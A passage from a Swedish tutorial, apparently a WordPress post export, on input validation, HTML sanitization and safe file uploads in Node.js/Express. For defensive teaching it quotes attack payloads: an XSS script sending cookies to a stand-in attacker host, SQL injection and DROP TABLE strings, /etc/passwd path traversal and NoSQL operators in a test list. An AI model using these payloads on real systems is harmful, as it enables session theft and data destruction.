h\u00e5llet\n\/\/ sharp ist\u00e4llet f\u00f6r ImageMagick\n\/\/ archiver ist\u00e4llet f\u00f6r tar\/zip\n\/\/ pdf-lib ist\u00e4llet f\u00f6r ghostscript<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"steg-11-xss-skydd-och-html-sanering\">Steg 11: XSS-skydd och HTML-sanering<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Cross-site scripting (XSS) sker n\u00e4r anv\u00e4ndarskapat inneh\u00e5ll renderas i en webbl\u00e4sare utan korrekt kodning. En sparad kommentar med <code>&lt;script&gt;document.location='http:\/\/angripare.se\/?c='+document.cookie&lt;\/script&gt;<\/code> stj\u00e4l sessionscookies f\u00f6r alla anv\u00e4ndare som ser den, oavsett om de klickar p\u00e5 n\u00e5got eller inte.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Node.js\/Express renderar oftast JSON till React\/Vue-frontends, vilket reducerar XSS-risken p\u00e5 serversidan, men om du lagrar rik text (blogginl\u00e4gg med formatering, kommentarer med fetstil) eller genererar HTML direkt beh\u00f6ver du aktivt sanera.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const sanitizeHtml = require('sanitize-html');\n\n\/\/ Definierade till\u00e5tna HTML-element och attribut (allowlist)\nconst sanitizeOptions = {\n  allowedTags: [\n    'p', 'br', 'strong', 'em', 'u', 'a', 'ul', 'ol', 'li',\n    'h2', 'h3', 'blockquote', 'code', 'pre'\n  ],\n  allowedAttributes: {\n    'a': ['href', 'target', 'rel'],\n    'code': ['class'] \/\/ Till\u00e5t syntax-highlighting-klasser\n  },\n  allowedSchemes: ['https', 'mailto'], \/\/ Inga javascript: eller data: URI:er\n  transformTags: {\n    'a': (tagName, attribs) => ({\n      tagName: 'a',\n      attribs: {\n        ...attribs,\n        rel: 'noopener noreferrer',\n        target: '_blank'\n      }\n    })\n  },\n  disallowedTagsMode: 'discard' \/\/ Ta bort f\u00f6rbjudna taggar helt (alternativ: 'escape')\n};\n\n\/\/ Middleware f\u00f6r att sanera rik text i inl\u00e4ggsinneh\u00e5ll\nfunction sanitizePostContent(req, res, next) {\n  if (req.body.content) {\n    req.body.content = sanitizeHtml(req.body.content, sanitizeOptions);\n  }\n  if (req.body.excerpt) {\n    \/\/ Utdrag: inga HTML-element till\u00e5tna alls\n    req.body.excerpt = sanitizeHtml(req.body.excerpt, {\n      allowedTags: [],\n      allowedAttributes: {}\n    });\n  }\n  next();\n}\n\nmodule.exports = { sanitizePostContent, sanitizeOptions };<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Sanera <strong>vid lagring<\/strong>, inte bara vid visning. Sanering enbart vid visning kan missa edge cases om samma data skickas via API till andra klienter eller mobilappar som inte sanerar utdatan. Kombinera alltid server-sidesanering med en stark Content-Security-Policy satt av Helmet.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"steg-12-saker-filuppladdning-med-multer\">Steg 12: S\u00e4ker filuppladdning med Multer<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Filuppladdning utan validering \u00e4r en direkt v\u00e4g till fj\u00e4rrk\u00f6rning av kod (Remote Code Execution, RCE). En angripare laddar upp en PHP-fil med skadlig kod omd\u00f6pt till <code>bild.jpg<\/code>. Om servern inte kontrollerar det faktiska filinneh\u00e5llet, kan de k\u00f6ra koden om webbservern \u00e4r felkonfigurerad. Skydda dig med tre lager:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const multer = require('multer');\nconst path = require('path');\nconst crypto = require('crypto');\n\n\/\/ Lager 1: Konfigurera multer med minnesslagring och gr\u00e4nser\nconst upload = multer({\n  storage: multer.memoryStorage(), \/\/ Spara i minnet f\u00f6r validering INNAN skrivning till disk\n  limits: {\n    fileSize: 5 * 1024 * 1024,  \/\/ 5 MB max\n    files: 1                     \/\/ Max 1 fil per request\n  },\n  fileFilter: (req, file, cb) => {\n    \/\/ Allowlist f\u00f6r till\u00e5tna MIME-typer\n    const allowedMimes = ['image\/jpeg', 'image\/png', 'image\/webp', 'image\/gif'];\n\n    if (!allowedMimes.includes(file.mimetype)) {\n      return cb(new Error('Filtypen \u00e4r inte till\u00e5ten'), false);\n    }\n\n    const ext = path.extname(file.originalname).toLowerCase();\n    if (!['.jpg', '.jpeg', '.png', '.webp', '.gif'].includes(ext)) {\n      return cb(new Error('Filtill\u00e4gget \u00e4r inte till\u00e5tet'), false);\n    }\n\n    cb(null, true);\n  }\n});\n\n\/\/ Lager 2: Verifiera faktiska filinneh\u00e5llet med magic bytes\nfunction validateFileMagicBytes(buffer, expectedType) {\n  const magicBytes = {\n    'image\/jpeg': [0xFF, 0xD8, 0xFF],\n    'image\/png':  [0x89, 0x50, 0x4E, 0x47],\n    'image\/gif':  [0x47, 0x49, 0x46],\n    'image\/webp': [0x52, 0x49, 0x46, 0x46]\n  };\n\n  const expected = magicBytes[expectedType];\n  if (!expected) return false;\n\n  return expected.every((byte, i) => buffer[i] === byte);\n}\n\n\/\/ Lager 3: Generera ett slumpm\u00e4ssigt filnamn - aldrig anv\u00e4ndarens originalnamn\nfunction generateSafeFilename(originalname) {\n  const ext = path.extname(originalname).toLowerCase();\n  const randomName = crypto.randomBytes(16).toString('hex');\n  return `${randomName}${ext}`;\n}\n\n\/\/ Upload-endpoint med alla tre lager\napp.post('\/api\/upload', upload.single('image'), async (req, res) => {\n  if (!req.file) {\n    return res.status(400).json({ error: 'Ingen fil uppladdad' });\n  }\n\n  \/\/ Kontrollera magic bytes - MIME-typen i headern s\u00e4tts av klienten och kan f\u00f6rfalskas\n  const isValid = validateFileMagicBytes(req.file.buffer, req.file.mimetype);\n  if (!isValid) {\n    return res.status(400).json({ error: 'Filinneh\u00e5llet matchar inte den angivna filtypen' });\n  }\n\n  \/\/ Spara med slumpm\u00e4ssigt namn utanf\u00f6r webbrooten\n  const safeFilename = generateSafeFilename(req.file.originalname);\n  const uploadPath = path.join('\/var\/uploads', safeFilename); \/\/ INTE under \/public\n\n  require('fs').writeFileSync(uploadPath, req.file.buffer);\n  res.json({ filename: safeFilename });\n});<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"komplett-projekt-saker-server-med-alla-12-steg\">Komplett projekt: S\u00e4ker server med alla 12 steg<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Skapa <code>src\/server.js<\/code> som s\u00e4tter ihop hela projektet och hanterar processplugor s\u00e4kert:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>require('dotenv').config();\nconst app = require('.\/app');\n\nconst PORT = parseInt(process.env.PORT, 10) || 3000;\n\/\/ Bind aldrig till 0.0.0.0 i produktion utan brandv\u00e4gg\nconst HOST = process.env.HOST || '127.0.0.1';\n\nconst server = app.listen(PORT, HOST, () => {\n  console.log(`Server k\u00f6rs p\u00e5 http:\/\/${HOST}:${PORT}`);\n});\n\n\/\/ Hantera ov\u00e4ntade fel utan att l\u00e4cka intern information\nprocess.on('unhandledRejection', (reason) => {\n  console.error('Ohanterat Promise-avslag:', reason);\n  server.close(() => process.exit(1));\n});\n\nprocess.on('uncaughtException', (err) => {\n  console.error('Ouppt\u00e4ckt undantag:', err.message);\n  server.close(() => process.exit(1));\n});\n\nmodule.exports = server;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">K\u00f6r projektet och testa alla scenarion:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Starta servern\nnode src\/server.js\n\n# Test 1: Giltigt request passerar\ncurl -s -X POST http:\/\/localhost:3000\/api\/users\/register \\\n  -H 'Content-Type: application\/json' \\\n  -d '{\"email\":\"anna@example.com\",\"password\":\"Hemligt123!S\u00e4kert\",\"username\":\"anna2026\",\"age\":28}' | jq\n# Svar: { \"message\": \"Anv\u00e4ndare registrerad\", \"username\": \"anna2026\" }\n\n# Test 2: SQL-injektionsf\u00f6rs\u00f6k i username avvisas\ncurl -s -X POST http:\/\/localhost:3000\/api\/users\/register \\\n  -H 'Content-Type: application\/json' \\\n  -d '{\"email\":\"test@test.com\",\"password\":\"Abc1!12345678\",\"username\":\"admin'\"'\"' OR '\"'\"'1'\"'\"'='\"'\"'1\"}' | jq\n# Svar: 422 Valideringsfel - username \u00e4r inte alfanumeriskt\n\n# Test 3: XSS-f\u00f6rs\u00f6k saneras\ncurl -s -X POST http:\/\/localhost:3000\/api\/users\/register \\\n  -H 'Content-Type: application\/json' \\\n  -d '{\"email\":\"xss@test.com\",\"password\":\"Abc1!12345678\",\"username\":\"alice\"}' | jq\n\n# Test 4: Storleksgr\u00e4ns p\u00e5 body\ncurl -s -X POST http:\/\/localhost:3000\/api\/users\/register \\\n  -H 'Content-Type: application\/json' \\\n  -d \"$(python3 -c \"print('{\\\"email\\\":\\\"test@test.com\\\",\\\"data\\\":\\\"'+'A'*20000+'\\\"}')\")\" | jq\n# Svar: 413 Entity Too Large<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"8-vanliga-fallgropar-vid-indatavalidering-i-node-js\">8 vanliga fallgropar vid indatavalidering i Node.js<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fallgrop 1: Validering bara p\u00e5 klientsidan.<\/strong> React- och Vue-formul\u00e4r med valideringslogik \u00e4r praktiskt f\u00f6r UX, men en angripare kringg\u00e5r det med ett curl-kommando p\u00e5 tre sekunder. Servern m\u00e5ste alltid validera oberoende av klienten, utan undantag.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fallgrop 2: Gl\u00f6mma att konvertera typer.<\/strong> En Express-requesthandler tar emot URL-parametrar och query-str\u00e4ngar som str\u00e4ngar, alltid. Om du f\u00f6rv\u00e4ntar dig ett heltal men tar emot <code>\"1; DROP TABLE users\"<\/code> som URL-parameter och skriver <code>WHERE id = ${req.params.id}<\/code>, \u00e4r du s\u00e5rbar. Anv\u00e4nd alltid <code>.toInt()<\/code>, <code>z.coerce.number()<\/code> eller <code>parseInt()<\/code> med explicit radix, och validera att v\u00e4rdet \u00e4r ett tal <em>innan<\/em> det n\u00e5r databasen.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fallgrop 3: Blocklist ist\u00e4llet f\u00f6r allowlist.<\/strong> Det \u00e4r praktiskt taget om\u00f6jligt att lista alla farliga tecken. En blocklist som filtrerar bort <code>&lt;<\/code>, <code>&gt;<\/code> och <code>\"<\/code> missar Unicode-varianter och kontextuell kodning som webbl\u00e4sare tolkar som farliga tecken. Definiera alltid vad som \u00e4r till\u00e5tet, inte vad som \u00e4r f\u00f6rbjudet.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fallgrop 4: Avsl\u00f6ja f\u00f6r mycket i felmeddelanden.<\/strong> Om din felrespons returnerar <em>&#8220;Column &#8216;admin_flag&#8217; doesn&#8217;t exist in table &#8216;users'&#8221;<\/em> ger du angriparen en karta \u00f6ver din databas. Returnera generiska felmeddelanden till klienten, logga detaljer internt med ett sp\u00e5rnings-ID som ops-teamet kan s\u00f6ka p\u00e5.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fallgrop 5: Gl\u00f6mma validering p\u00e5 PUT- och PATCH-endpoints.<\/strong> POST-endpoints valideras noggrant medan uppdateringsrouter l\u00e4mnas \u00f6ppna. Skapa separata validatorer f\u00f6r skapa- och uppdateraoperationer, och se till att alla HTTP-metoder t\u00e4cks av middleware-kedjan.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fallgrop 6: Lita p\u00e5 Content-Type-headern vid filuppladdning.<\/strong> MIME-typen i HTTP-headern s\u00e4tts av klienten och kan f\u00f6rfalskas med ett verktyg. Verifiera alltid filens faktiska inneh\u00e5ll med magic bytes, inte bara MIME-typen i request-headern.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fallgrop 7: Anv\u00e4nda eval() eller Function() med anv\u00e4ndardata.<\/strong> Node.js <code>eval()<\/code> och <code>new Function()<\/code> exekverar godtycklig JavaScript-kod. Det finns n\u00e4stan aldrig ett legitimt sk\u00e4l att anv\u00e4nda dessa i en webbapplikation. Detsamma g\u00e4ller <code>vm.runInThisContext()<\/code> utan ordentlig sandboxing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fallgrop 8: Direkta MongoDB-operatorer i query-params.<\/strong> En URL som <code>\/users?age[$gt]=0<\/code> tolkas av Express som <code>{ age: { '$gt': '0' } }<\/code> i <code>req.query<\/code>. Utan <code>express-mongo-sanitize<\/code> eller schema-validering skickas detta direkt till MongoDB och fungerar som en giltig fr\u00e5geoperator som returnerar alla anv\u00e4ndare vars \u00e5lder \u00e4r st\u00f6rre \u00e4n 0.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"felsokning-10-vanliga-problem-och-losningar\">Fels\u00f6kning: 10 vanliga problem och l\u00f6sningar<\/h2>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Problem<\/th><th>Symptom<\/th><th>Orsak<\/th><th>L\u00f6sning<\/th><\/tr><\/thead><tbody><tr><td>422 p\u00e5 alla requests<\/td><td>Alla POST-anrop misslyckas med valideringsfel<\/td><td>express.json() inte monterat, req.body \u00e4r undefined<\/td><td>Kontrollera att app.use(express.json()) \u00e4r placerat f\u00f6re alla routers<\/td><\/tr><tr><td>Validatorn hittar inga fel trots felaktig data<\/td><td>Ogiltiga v\u00e4rden passerar igenom<\/td><td>validateRequest() saknas i route-kedjan<\/td><td>L\u00e4gg till validateRequest efter rules-arrayen: router.post(&#8216;\/&#8217;, rules, validateRequest, handler)<\/td><\/tr><tr><td>.escape() dubbelkodar HTML-entiteter<\/td><td>&amp;amp; visas ist\u00e4llet f\u00f6r &amp; i frontend<\/td><td>escape() k\u00f6rs igen vid rendering i templaten<\/td><td>Koda bara vid lagring ELLER rendering, aldrig b\u00e5da. Separera ansvaret.<\/td><\/tr><tr><td>Multer avvisar filer trots korrekt typ<\/td><td>&#8220;Filtypen \u00e4r inte till\u00e5ten&#8221; p\u00e5 giltiga bilder<\/td><td>MIME-typ inneh\u00e5ller parametrar: image\/jpeg; charset=utf-8<\/td><td>J\u00e4mf\u00f6r med file.mimetype.split(&#8216;;&#8217;)[0].trim() ist\u00e4llet f\u00f6r direkt j\u00e4mf\u00f6relse<\/td><\/tr><tr><td>MongoDB ObjectId-fel<\/td><td>BSONTypeError vid id-uppslag<\/td><td>req.params.id \u00e4r inte en giltig 24-teckens hex-str\u00e4ng<\/td><td>Validera med z.string().regex(\/^[a-f\\d]{24}$\/i) eller require(&#8216;mongoose&#8217;).isValidObjectId()<\/td><\/tr><tr><td>Zod-felmeddelanden p\u00e5 engelska<\/td><td>Felmeddelanden visas inte p\u00e5 svenska<\/td><td>Standard felmeddelanden \u00e4r h\u00e5rdkodade p\u00e5 engelska<\/td><td>L\u00e4gg till .withMessage() per f\u00e4lt eller s\u00e4tt global errorMap: z.setErrorMap(customErrorMap)<\/td><\/tr><tr><td>express-validator f\u00e5ngar inte query-params<\/td><td>Ogiltiga query-str\u00e4ngar passerar<\/td><td>body() anv\u00e4nds f\u00f6r query-parametrar ist\u00e4llet f\u00f6r query()<\/td><td>Ers\u00e4tt body(&#8216;param&#8217;) med query(&#8216;param&#8217;) f\u00f6r URL-parametrar<\/td><\/tr><tr><td>Injection via stora JSON-tal<\/td><td>Ber\u00e4kningsfel, databasfel med stora ID:n<\/td><td>JavaScript kan inte exakt representera tal st\u00f6rre \u00e4n 2^53<\/td><td>Validera med .isInt() och s\u00e4tt max: Number.MAX_SAFE_INTEGER, eller anv\u00e4nd BigInt-hantering<\/td><\/tr><tr><td>CORS blockerar validerade requests<\/td><td>Preflight OPTIONS misslyckas med 404<\/td><td>cors-middleware hanterar inte OPTIONS-requests korrekt<\/td><td>L\u00e4gg app.options(&#8216;*&#8217;, cors()) som den allra f\u00f6rsta routen<\/td><\/tr><tr><td>Filuppladdning kraschar servern<\/td><td>ENOMEM eller process exit vid stora filer<\/td><td>Ingen storleksgr\u00e4ns p\u00e5 request body utan multer<\/td><td>S\u00e4tt limits.fileSize i multer OCH begr\u00e4nsa express bodyParser till text\/json<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"avancerade-tips-for-produktionsmiljoer\">Avancerade tips f\u00f6r produktionsmilj\u00f6er<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Kombinera validering med rate limiting.<\/strong> En angripare som skickar tusentals varianter av injektionsf\u00f6rs\u00f6k per sekund belastar servern och genererar enorma loggfiler. Peka h\u00e5rdare gr\u00e4nser mot autentiseringsendpoints:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const rateLimit = require('express-rate-limit');\n\nconst authLimiter = rateLimit({\n  windowMs: 15 * 60 * 1000,  \/\/ 15-minutersf\u00f6nster\n  max: 10,                    \/\/ Max 10 f\u00f6rs\u00f6k per IP\n  message: { error: 'F\u00f6r m\u00e5nga f\u00f6rs\u00f6k, v\u00e4nta 15 minuter' },\n  standardHeaders: true,      \/\/ Skicka X-RateLimit-* headers\n  legacyHeaders: false\n});\n\napp.use('\/api\/users\/login', authLimiter);\napp.use('\/api\/users\/register', authLimiter);<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Validera inkommande webhooks med HMAC.<\/strong> Om din Node.js-applikation tar emot webhooks fr\u00e5n GitHub, Stripe eller Slack m\u00e5ste du verifiera att requesten verkligen kommer fr\u00e5n den p\u00e5st\u00e5dda k\u00e4llan. Alla n\u00e4mnda tj\u00e4nster skickar en HMAC-SHA256-signatur i en header. Verifiera den med <code>crypto.timingSafeEqual()<\/code> f\u00f6r att undvika timing-attacker. L\u00e4s v\u00e5r guide om <a href=\"\/ecdsa-digitala-signaturer-nodejs\/\">digitala signaturer i Node.js<\/a> f\u00f6r en djupare genomg\u00e5ng av kryptografisk dataintegritet.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>K\u00f6r npm audit i CI\/CD-pipeline.<\/strong> Dina validerings- och saneringsbibliotek kan sj\u00e4lva inneh\u00e5lla s\u00e5rbarheter. K\u00f6r <code>npm audit --audit-level=high<\/code> som ett steg i CI\/CD och l\u00e5t bygget misslyckas vid h\u00f6grisk-s\u00e5rbarheter. I mars 2026 patchades 8 CVE:er i Node.js runtime p\u00e5 en g\u00e5ng. H\u00e5ll alla beroenden uppdaterade med automatiserade verktyg som Dependabot eller Renovate.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Testa din validering med automatatiserade injektionsf\u00f6rs\u00f6k.<\/strong> Skriv integrationstester som verifierar att k\u00e4nda attackvektorer avvisas. Anv\u00e4nd <a href=\"https:\/\/owasp.org\/www-project-top-ten\/\" rel=\"noopener noreferrer\" target=\"_blank\">OWASP:s testguide<\/a> som referens f\u00f6r vilka m\u00f6nster du ska testa:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>const request = require('supertest');\nconst app = require('..\/src\/app');\n\ndescribe('Injektionsskydd', () => {\n  const attackVektorer = [\n    { beskrivning: 'SQL-injektion', payload: \"'; DROP TABLE users; --\" },\n    { beskrivning: 'XSS via script-tagg', payload: '<script>alert(1)<\/script>' },\n    { beskrivning: 'NoSQL-operat\u00f6r', payload: { '$gt': '' } },\n    { beskrivning: 'Path traversal', payload: '..\/..\/..\/etc\/passwd' },\n    { beskrivning: 'Null-byte', payload: 'admin\\x00' },\n    { beskrivning: 'Extremt l\u00e5ng str\u00e4ng', payload: 'a'.repeat(10000) }\n  ];\n\n  attackVektorer.forEach(({ beskrivning, payload }) => {\n    it(`ska avvisa ${beskrivning}`, async () => {\n      const res = await request(app)\n        .post('\/api\/users\/register')\n        .send({\n          email: 'test@test.com',\n          password: 'Abc1!12345678',\n          username: payload\n        });\n\n      expect([400, 413, 422]).toContain(res.statusCode);\n    });\n  });\n});<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Centraliserad loggning av valideringsfel.<\/strong> Samla valideringsfel i ett SIEM-system. En explosion av 422-fel mot en specifik endpoint p\u00e5 natten \u00e4r ett s\u00e4kert tecken p\u00e5 en aktiv scanning-attack. S\u00e4tt upp alerting vid mer \u00e4n 50 valideringsfel per minut per IP-adress. Mer om Node.js s\u00e4kerhetsarkitektur finns i <a href=\"https:\/\/nodejs.org\/en\/learn\/getting-started\/security-best-practices\" rel=\"noopener noreferrer\" target=\"_blank\">Node.js officiella s\u00e4kerhetsguide<\/a> och i <a href=\"https:\/\/cheatsheetseries.owasp.org\/cheatsheets\/Input_Validation_Cheat_Sheet.html\" rel=\"noopener noreferrer\" target=\"_blank\">OWASP Input Validation Cheat Sheet<\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"faq-indatavalidering-i-node-js-2026\">FAQ: Indatavalidering i Node.js 2026<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Vilken valideringsbibliotek ska jag v\u00e4lja 2026: express-validator, Zod eller Joi?<\/strong><br>V\u00e4lj express-validator om du vill ha snabb integrering i befintliga Express-appar utan TypeScript. V\u00e4lj Zod om du k\u00f6r TypeScript och vill ha automatiska typer fr\u00e5n schemat. V\u00e4lj Joi om du har komplexa beroenden mellan f\u00e4lt och redan arbetar med Hapi.js. Alla tre \u00e4r produktionsmogna och aktivt underh\u00e5llna.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Beh\u00f6ver jag validera HTTP-headers, inte bara body och URL-params?<\/strong><br>Ja. Authorization-headern b\u00f6r alltid valideras: kontrollera att formatet \u00e4r <code>Bearer &lt;token&gt;<\/code> innan du f\u00f6rs\u00f6ker parsa JWT:n. Anpassade headers som <code>X-User-Id<\/code> eller <code>X-Organization<\/code> ska aldrig anv\u00e4ndas f\u00f6r s\u00e4kerhetsbeslut utan kryptografisk verifiering. Se v\u00e5r guide om <a href=\"\/oauth2-pkce-nodejs\/\">OAuth 2.0 med PKCE i Node.js<\/a> f\u00f6r s\u00e4ker autentisering.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>R\u00e4cker det med ett ORM som Prisma eller Sequelize f\u00f6r att skydda mot SQL-injektion?<\/strong><br>ORM:er \u00e4r ett bra lager, men tillr\u00e4ckliga bara om du aldrig anv\u00e4nder r\u00e5a queries. Dynamiska r\u00e5fr\u00e5gor med <code>Sequelize.query()<\/code> och ociterade parametrar \u00e4r fortfarande s\u00e5rbara. Prisma:s <code>prisma.$queryRaw<\/code> kr\u00e4ver att du anv\u00e4nder <code>Prisma.sql<\/code> tagged template literal f\u00f6r korrekt parametrisering.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Ska jag sanera input eller output vid XSS-skydd?<\/strong><br>Optimalt: b\u00e5da. Sanera vid lagring (strip farliga taggar fr\u00e5n kommentarer) och koda vid rendering (HTML-entiteter i templates). Om du bara sanerar input kan en API-klient som inte kodar sin output \u00e4nd\u00e5 visa XSS. JSON-svar till SPA-frontends \u00e4r i regel s\u00e4kra, men server-side-rendererade templates kr\u00e4ver explicit utdatakodning.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Hur validerar jag multipart\/form-data med b\u00e5de filer och f\u00e4lt?<\/strong><br>Multer parsar formul\u00e4rf\u00e4lt och filer separat. F\u00e4lt hamnar i req.body (men bara efter att multer k\u00f6rt), filer i req.file eller req.files. Placera dina express-validator-regler efter multer i middleware-kedjan: <code>router.post('\/upload', upload.single('image'), validationRules, validateRequest, handler)<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Kan ett regex-m\u00f6nster i min validering bli ett DoS-verktyg (ReDoS)?<\/strong><br>Ja. ReDoS (Regular Expression Denial of Service) uppst\u00e5r n\u00e4r ett regex med exponentiell backtracking appliceras p\u00e5 en l\u00e5ng str\u00e4ng. Det kan hanga Node.js-eventloopen i sekunder och effektivt ta ner din server. Begr\u00e4nsa alltid inl\u00e4ngden INNAN du k\u00f6r regex: <code>.isLength({ max: 100 }).matches(\/ditt-regex\/)<\/code>. Testa dina regex med ett ReDoS-analysverktyg.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Fungerar express-validator med Express 5?<\/strong><br>Ja, express-validator 7.x \u00e4r kompatibel med Express 5.x. Express 5 hanterar asynkrona fel automatiskt: du beh\u00f6ver inte wrappa async-handlers i try\/catch f\u00f6r att Express ska f\u00e5nga dem, vilket f\u00f6renklar middleware-strukturen avsev\u00e4rt.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Hur hanterar jag validering av n\u00e4stlade JSON-objekt?<\/strong><br>express-validator anv\u00e4nder dot-notation: <code>body('address.city').isString()<\/code>. Zod hanterar n\u00e4stlade objekt via <code>z.object({ address: z.object({ city: z.string() }) })<\/code>. Zod \u00e4r \u00f6verl\u00e4gsen h\u00e4r eftersom n\u00e4stlade scheman \u00e4r typade och \u00e5teranv\u00e4ndbara.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>R\u00e4cker det att validera bara vid API-gr\u00e4nsen?<\/strong><br>Gr\u00e4nsen \u00e4r det viktigaste lagret, men en robust applikation validerar \u00e4ven internt vid k\u00e4nsliga operationer. Om en intern funktion kan anropas fr\u00e5n flera st\u00e4llen (direkt, via queue, via cron-jobb) och tar emot externt ursprung data, validera innan den k\u00f6rs. Se OWASP:s <a href=\"https:\/\/cheatsheetseries.owasp.org\/cheatsheets\/Input_Validation_Cheat_Sheet.html\" rel=\"noopener noreferrer\" target=\"_blank\">Input Validation Cheat Sheet<\/a> och <a href=\"https:\/\/express-validator.github.io\/docs\/\" rel=\"noopener noreferrer\" target=\"_blank\">express-validators dokumentation<\/a> f\u00f6r fler m\u00f6nster.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"relaterade-artiklar\">Relaterade artiklar<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Indatavalidering \u00e4r ett lager i ett djupare s\u00e4kerhetsskydd. Dessa guider t\u00e4cker angr\u00e4nsande \u00e4mnen i v\u00e5r s\u00e4kerhetskluster:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><a href=\"\/owasp-top-10-nodejs\/\">OWASP Top 10 i Node.js: 12 steg, 30 min [2026]<\/a> &#8211; hela OWASP A01-A10 med Node.js-specifika implementationer<\/li>\n<li><a href=\"\/oauth2-pkce-nodejs\/\">OAuth 2.0 med PKCE i Node.js: 12 steg, 30 min [2026]<\/a> &#8211; s\u00e4ker autentisering och auktorisering utan l\u00f6senordsl\u00e4ckor<\/li>\n<li><a href=\"\/ecdsa-digitala-signaturer-nodejs\/\">Digitala signaturer i Node.js: 12 steg med ECDSA [2026]<\/a> &#8211; kryptografisk integritetskontroll f\u00f6r webhook-verifiering<\/li>\n<li><a href=\"\/ecdh-nyckelutbyte-nodejs\/\">ECDH i Node.js: Elliptisk Kurva Diffie-Hellman i 12 steg [2026]<\/a> &#8211; s\u00e4ker nyckel\u00f6verf\u00f6ring utan PKI<\/li>\n<li><a href=\"\/ssh-nycklar-linux\/\">SSH-nycklar i Linux: 12 steg, 20 min [2026]<\/a> &#8211; s\u00e4ker fj\u00e4rr\u00e5tkomst till dina produktionsservrar<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Injektionsattacker toppar OWASP:s lista \u00f6ver de farligaste webbs\u00e5rbarheterna 2026. En enda okontrollerad textstr\u00e4ng i databasen, kommandoskalet eller HTML-utdatan kan ge en angripare fullst\u00e4ndig kontroll \u00f6ver din server. Det tar oftast\u2026<\/p>\n","protected":false},"author":3,"featured_media":143,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,3],"tags":[],"class_list":["post-142","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-10","category-security"],"_links":{"self":[{"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/posts\/142","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/comments?post=142"}],"version-history":[{"count":1,"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/posts\/142\/revisions"}],"predecessor-version":[{"id":144,"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/posts\/142\/revisions\/144"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/media\/143"}],"wp:attachment":[{"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/media?parent=142"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/categories?post=142"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shattered.io\/se\/wp-json\/wp\/v2\/tags?post=142"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}